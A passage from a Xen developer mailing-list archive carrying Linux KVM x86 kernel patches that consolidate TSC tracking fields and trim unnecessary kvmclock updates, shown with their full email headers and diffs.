 	vclock_mode = pvclock_gtod_data.clock.vclock_mode;
 	trace_kvm_update_master_clock(ka->use_master_clock, vclock_mode,
 					vcpus_matched);
@@ -1670,10 +1694,28 @@ static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
 
 				hv_clock.tsc_timestamp = ka->master_cycle_now;
 				hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
-				kvm_get_time_scale(NSEC_PER_SEC, get_cpu_tsc_khz() * 1000LL,
-						   &hv_clock.tsc_shift,
-						   &hv_clock.tsc_to_system_mul);
-				data->clock = __pvclock_read_cycles(&hv_clock, data->host_tsc);
+
+				/*
+				 * Use the precomputed guest-TSC-based mul/shift
+				 * so that the kvmclock value matches what the
+				 * guest computes from its own TSC.
+				 */
+				hv_clock.tsc_shift = ka->master_tsc_shift;
+				hv_clock.tsc_to_system_mul = ka->master_tsc_mul;
+
+				if (kvm_caps.has_tsc_control) {
+					u64 tsc_delta = data->host_tsc - ka->master_cycle_now;
+
+					tsc_delta = kvm_scale_tsc(tsc_delta,
+								  ka->master_tsc_scaling_ratio);
+					data->clock = hv_clock.system_time +
+						pvclock_scale_delta(tsc_delta,
+								    hv_clock.tsc_to_system_mul,
+								    hv_clock.tsc_shift);
+				} else {
+					data->clock = __pvclock_read_cycles(&hv_clock,
+									    data->host_tsc);
+				}
 				continue;
 			}
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374503.1621727 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8L-0006u7-Uv; Tue, 28 Jul 2026 14:50:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374503.1621727; Tue, 28 Jul 2026 14:50:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8L-0006sU-7U; Tue, 28 Jul 2026 14:50:17 +0000
Received: by outflank-mailman (input) for mailman id 1374503;
 Tue, 28 Jul 2026 14:50:13 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8G-0005Wv-Qj
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8G-00BbE3-6v; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19e-e002-0a2a0a5209dd-0a2a45078960-30
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a3-b4ea-0a2a45070019-5a9b3222b228-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOl-0Qdr; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYY-2iTL;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=Np+lnW0zMX6EBxR3IucamlCTWncoQk51Zdx888ep58k=; b=HIcYbNLbdtrhYLnbpH4D3S/B9d
	/Nh9W8GKFPsYH0ifjli/yFfTVTGWTlJPqyeVt5Ggj7nv3mIcmcLG++/RJgj48DgBZ3G8boQut0o1E
	A9JhvQw2yFklnq9c3Xz8wBwVIRswkG5RhWwcmIJ7dyNrN+2EtaKtc+JpbgYLQmqS5rRBQkEwJX460
	aCJMYiaAZfyIeU9Wk9ijuvMzIjmIi9mciQWxqGeHQevRSwRFRz1zHtW0ubq7OI3lUduofXHHBZNj/
	5CBS4wwEomK0lRwUoz7HX5AWkU6XIcYqsbm5CNJQu6RafZlsN/YiV8xeBIKjj18dTZap2lAUgqK20
	0gx371ew==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 15/36] KVM: x86: Kill last_tsc_{nsec,write,offset} fields
Date: Tue, 28 Jul 2026 15:39:55 +0100
Message-ID: <20260728144954.355376-16-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250212-A7CD7AE4-10743BBC/0/0
X-purgate-type: clean
X-purgate-size: 6375

From: David Woodhouse <dwmw@amazon.co.uk>

These pointlessly duplicate the cur_tsc_{nsec,write,offset} values.
The only place they were used was where the TSC is stable and a new
vCPU is being synchronized to the previous setting, in which case the
cur_tsc_* value is definitely identical.

Rename last_tsc_khz and last_tsc_scaling_ratio to cur_tsc_khz and
cur_tsc_scaling_ratio respectively, since they are properties of the
current TSC generation.

Since cur_tsc_offset now serves as the single source of truth for the
TSC generation's offset, the backwards-TSC adjustment (used during S4
resume when the host TSC resets) must also update cur_tsc_offset by the
same delta applied to all vCPUs. Without this, subsequent vCPUs that
synchronize after the adjustment would get the stale pre-S4 offset.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/include/asm/kvm_host.h |  7 ++---
 arch/x86/kvm/x86.c              | 45 +++++++++++++++++----------------
 2 files changed, 25 insertions(+), 27 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index c3b97ca24a8c..2f01f3f9ba97 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1232,11 +1232,8 @@ struct kvm_arch {
 	 * preemption-disabled region, so it must be a raw spinlock.
 	 */
 	raw_spinlock_t tsc_write_lock;
-	u64 last_tsc_nsec;
-	u64 last_tsc_write;
-	u32 last_tsc_khz;
-	u64 last_tsc_offset;
-	u64 last_tsc_scaling_ratio;
+	u32 cur_tsc_khz;
+	u64 cur_tsc_scaling_ratio;
 	u64 cur_tsc_nsec;
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 812657f7c984..dceb6d3660a2 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1274,14 +1274,12 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		vcpu->kvm->arch.user_set_tsc = true;
 
 	/*
-	 * We also track th most recent recorded KHZ, write and time to
-	 * allow the matching interval to be extended at each write.
+	 * Track the TSC frequency, scaling ratio, and offset for the current
+	 * generation. These are used to detect matching TSC writes and to
+	 * compute the guest TSC from the host clock.
 	 */
-	kvm->arch.last_tsc_nsec = ns;
-	kvm->arch.last_tsc_write = tsc;
-	kvm->arch.last_tsc_khz = vcpu->arch.virtual_tsc_khz;
-	kvm->arch.last_tsc_offset = offset;
-	kvm->arch.last_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
+	kvm->arch.cur_tsc_khz = vcpu->arch.virtual_tsc_khz;
+	kvm->arch.cur_tsc_scaling_ratio = vcpu->arch.l1_tsc_scaling_ratio;
 
 	vcpu->arch.last_guest_tsc = tsc;
 
@@ -1294,8 +1292,6 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		 * nanosecond time, offset, and write, so if TSCs are in
 		 * sync, we can match exact offset, and if not, we can match
 		 * exact software computation in compute_guest_tsc()
-		 *
-		 * These values are tracked in kvm->arch.cur_xxx variables.
 		 */
 		kvm->arch.cur_tsc_generation++;
 		kvm->arch.cur_tsc_nsec = ns;
@@ -1335,7 +1331,7 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	}
 
 	offset = kvm_compute_l1_tsc_offset(vcpu, host_tsc, data);
-	elapsed = ns - kvm->arch.last_tsc_nsec;
+	elapsed = ns - kvm->arch.cur_tsc_nsec;
 
 	if (vcpu->arch.virtual_tsc_khz) {
 		if (data == 0) {
@@ -1345,7 +1341,7 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 			 */
 			synchronizing = true;
 		} else if (kvm->arch.user_set_tsc) {
-			u64 tsc_exp = kvm->arch.last_tsc_write +
+			u64 tsc_exp = kvm->arch.cur_tsc_write +
 						nsec_to_cycles(vcpu, elapsed);
 			u64 tsc_hz = vcpu->arch.virtual_tsc_khz * 1000LL;
 			/*
@@ -1376,7 +1372,7 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 	 * it's better to try to match offsets from the beginning.
          */
 	if (synchronizing &&
-	    vcpu->arch.virtual_tsc_khz == kvm->arch.last_tsc_khz) {
+	    vcpu->arch.virtual_tsc_khz == kvm->arch.cur_tsc_khz) {
 		/*
 		 * If synchronizing, advance the reference point to "now"
 		 * so the matching window slides forward with each vCPU.
@@ -1644,7 +1640,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 		 * get_kvmclock() to compute kvmclock from the host TSC
 		 * without needing a vCPU reference.
 		 */
-		ka->master_tsc_scaling_ratio = ka->last_tsc_scaling_ratio;
+		ka->master_tsc_scaling_ratio = ka->cur_tsc_scaling_ratio;
 		tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
 		if (tsc_hz && kvm_caps.has_tsc_control)
 			tsc_hz = kvm_scale_tsc(tsc_hz,
@@ -3376,8 +3372,8 @@ static int kvm_arch_tsc_set_attr(struct kvm_vcpu *vcpu,
 		raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
 
 		matched = (vcpu->arch.virtual_tsc_khz &&
-			   kvm->arch.last_tsc_khz == vcpu->arch.virtual_tsc_khz &&
-			   kvm->arch.last_tsc_offset == offset);
+			   kvm->arch.cur_tsc_khz == vcpu->arch.virtual_tsc_khz &&
+			   kvm->arch.cur_tsc_offset == offset);
 
 		tsc = kvm_scale_tsc(rdtsc(), vcpu->arch.l1_tsc_scaling_ratio) + offset;
 		ns = get_kvmclock_base_ns();
@@ -9748,7 +9744,7 @@ int kvm_arch_enable_virtualization_cpu(void)
 {
 	struct kvm *kvm;
 	struct kvm_vcpu *vcpu;
-	unsigned long i;
+	unsigned long i, flags;
 	int ret;
 	u64 local_tsc;
 	u64 max_tsc = 0;
@@ -9827,13 +9823,18 @@ int kvm_arch_enable_virtualization_cpu(void)
 			}
 
 			/*
-			 * We have to disable TSC offset matching.. if you were
-			 * booting a VM while issuing an S4 host suspend....
-			 * you may have some problem.  Solving this issue is
-			 * left as an exercise to the reader.
+			 * Adjust the TSC matching reference by the same
+			 * delta applied to each vCPU's offset, so that
+			 * future KVM_SET_TSC / vCPU creation still matches
+			 * correctly against the adjusted TSC timeline.
+			 * Scale from host to guest TSC rate.
 			 */
-			kvm->arch.last_tsc_nsec = 0;
-			kvm->arch.last_tsc_write = 0;
+			raw_spin_lock_irqsave(&kvm->arch.tsc_write_lock, flags);
+			kvm->arch.cur_tsc_write -=
+				kvm_scale_tsc(delta_cyc,
+					      kvm->arch.cur_tsc_scaling_ratio);
+			kvm->arch.cur_tsc_offset += delta_cyc;
+			raw_spin_unlock_irqrestore(&kvm->arch.tsc_write_lock, flags);
 		}
 
 	}
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374504.1621737 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8N-0007CV-9p; Tue, 28 Jul 2026 14:50:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374504.1621737; Tue, 28 Jul 2026 14:50:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8M-00078s-FC; Tue, 28 Jul 2026 14:50:18 +0000
Received: by outflank-mailman (input) for mailman id 1374504;
 Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8I-0005zj-An
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8H-00BbE3-NI; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c19e-e002-0a2a0a5209dd-0a2a45078960-32
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:13 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a4-b4ea-0a2a45070019-5a9b5cc7c608-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:12 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vc-34HU; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYk-3Nx6;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=ZqvrNTLgxi18JKJlS26csM7gdnaSdqsyE4DeULBEY64=; b=KxTOTCCjAfyOCGZkccXM7Ac4zu
	7k1iyiYMO6nvDy3VGr0NJS4ciOAudnPy1JET4yTGRG80X2tWmS5WFIYWISSqPtNzJr1vtosJwFPya
	GT9jOLz0KR04I4Fiuk0eKh3GPF1PerdJUlAoX2y6FkP4CTLrrSzVYcBuoWUwdGJpqQVSF2LnF8ZeL
	i+AOcdA/QhXFF8aX7hSCpYFEOq0/ceai9ItU+3tUSr2V0trWFf1jTACeL82n5e1/SThHoTVdxKGxJ
	qRs14OSLTdj+TVYph/ggcWtr6zEv9foueD6Qmykp9utI7Hb6J3XGsNU9+5PgzoUGK/R0V3AirMedh
	0i8m1Opg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 19/36] KVM: x86: Avoid gratuitous global clock updates
Date: Tue, 28 Jul 2026 15:39:59 +0100
Message-ID: <20260728144954.355376-20-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250213-358C1AE4-E0A69A6F/0/0
X-purgate-type: clean
X-purgate-size: 2627

From: David Woodhouse <dwmw@amazon.co.uk>

Eliminate two sources of unnecessary KVM_REQ_GLOBAL_CLOCK_UPDATE:

1. kvm_write_system_time(): The global clock update was a workaround for
   ever-drifting clocks based on the host's CLOCK_MONOTONIC subject to
   NTP skew. Now that the KVM clock uses CLOCK_MONOTONIC_RAW, the clock
   does not drift with NTP corrections and there is no need to
   synchronize all vCPUs on boot or resume. Use KVM_REQ_CLOCK_UPDATE on
   the vCPU itself, and only when the clock is being enabled, not
   disabled.

2. kvm_arch_vcpu_load(): In master clock mode, migration between pCPUs
   does not require any clock update since the master clock reference is
   shared. Only request a local KVM_REQ_CLOCK_UPDATE for the vCPU's
   first-ever load (vcpu->cpu == -1) to generate initial pvclock params.
   In non-master-clock mode, keep the global update to synchronize all
   vCPUs.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/msrs.c | 6 +++---
 arch/x86/kvm/x86.c  | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kvm/msrs.c b/arch/x86/kvm/msrs.c
index 22ceb39d41f6..0806863fc68e 100644
--- a/arch/x86/kvm/msrs.c
+++ b/arch/x86/kvm/msrs.c
@@ -1275,13 +1275,13 @@ static void kvm_write_system_time(struct kvm_vcpu *vcpu, gpa_t system_time,
 	}
 
 	vcpu->arch.time = system_time;
-	kvm_make_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu);
 
 	/* we verify if the enable bit is set... */
-	if (system_time & 1)
+	if (system_time & 1) {
 		kvm_gpc_activate(&vcpu->arch.pv_time, system_time & ~1ULL,
 				 sizeof(struct pvclock_vcpu_time_info));
-	else
+		kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
+	} else
 		kvm_gpc_deactivate(&vcpu->arch.pv_time);
 
 	return;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index ce80ee808777..83db915ef1d4 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2720,13 +2720,13 @@ void kvm_arch_vcpu_load(struct kvm_vcpu *vcpu, int cpu)
 		 * On a host with synchronized TSC, there is no need to update
 		 * kvmclock on vcpu->cpu migration
 		 */
-		if (!vcpu->kvm->arch.use_master_clock || vcpu->cpu == -1) {
+		if (!vcpu->kvm->arch.use_master_clock) {
 			if (__ratelimit(&vcpu->kvm->arch.kvmclock_update_rs))
 				kvm_make_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu);
 			else
 				kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
-		}
-
+		} else if (vcpu->cpu == -1)
+			kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
 		if (vcpu->cpu != cpu)
 			kvm_make_request(KVM_REQ_MIGRATE_TIMER, vcpu);
 		vcpu->cpu = cpu;
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374506.1621743 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8O-0007Qh-1Q; Tue, 28 Jul 2026 14:50:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374506.1621743; Tue, 28 Jul 2026 14:50:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8N-0007NL-I3; Tue, 28 Jul 2026 14:50:19 +0000
Received: by outflank-mailman (input) for mailman id 1374506;
 Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1woj8J-0006RV-Df
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8I-003A3x-Pz; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c197-2eae-0a2a0a5409dd-0a2a4509d620-22
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+0bab86ec5884d1af5d78+8374+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a68c1a6-be1a-0a2a45090019-5a9b5cc786f0-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:14 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1woj82-000000052Vh-34aT; Tue, 28 Jul 2026 14:49:59 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZr-25Lf;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=0Kg0WMdPY/dDkG3yq8zhjLo941svUIbJDdvzz9fHKt4=; b=JgaTVvyGuPL5qVErnnddCt5Rgd
	JgRNlngmCTqWa8kiJ5Y3rwmkRAKcKYF1JBaZAPgab5oH3z2MIhh6GRK+FxQJQJmNI+y37rHbhtL87
	+xqoo/3+ERPsvZpmJ0O75PGxKJ+qTwR9mQR+neJnA62WVoegX0QwlbJfU0Gr3O8pMjR3J/mfhyzpc
	UyV6w4Vxbp6pGqvrsKgSL23jDojwt3zS1TodEWRPtfp3yssYypBrdlKzkyPBVsXTgSpCG4bxVHBhk
	MSdng7EcvRP1GTJufR3uurg652w+V0XL8OZun444tRgHD3u5mJkKVlIbemDlVA54RLfT4icRFzg/H
	3ZqnApSg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
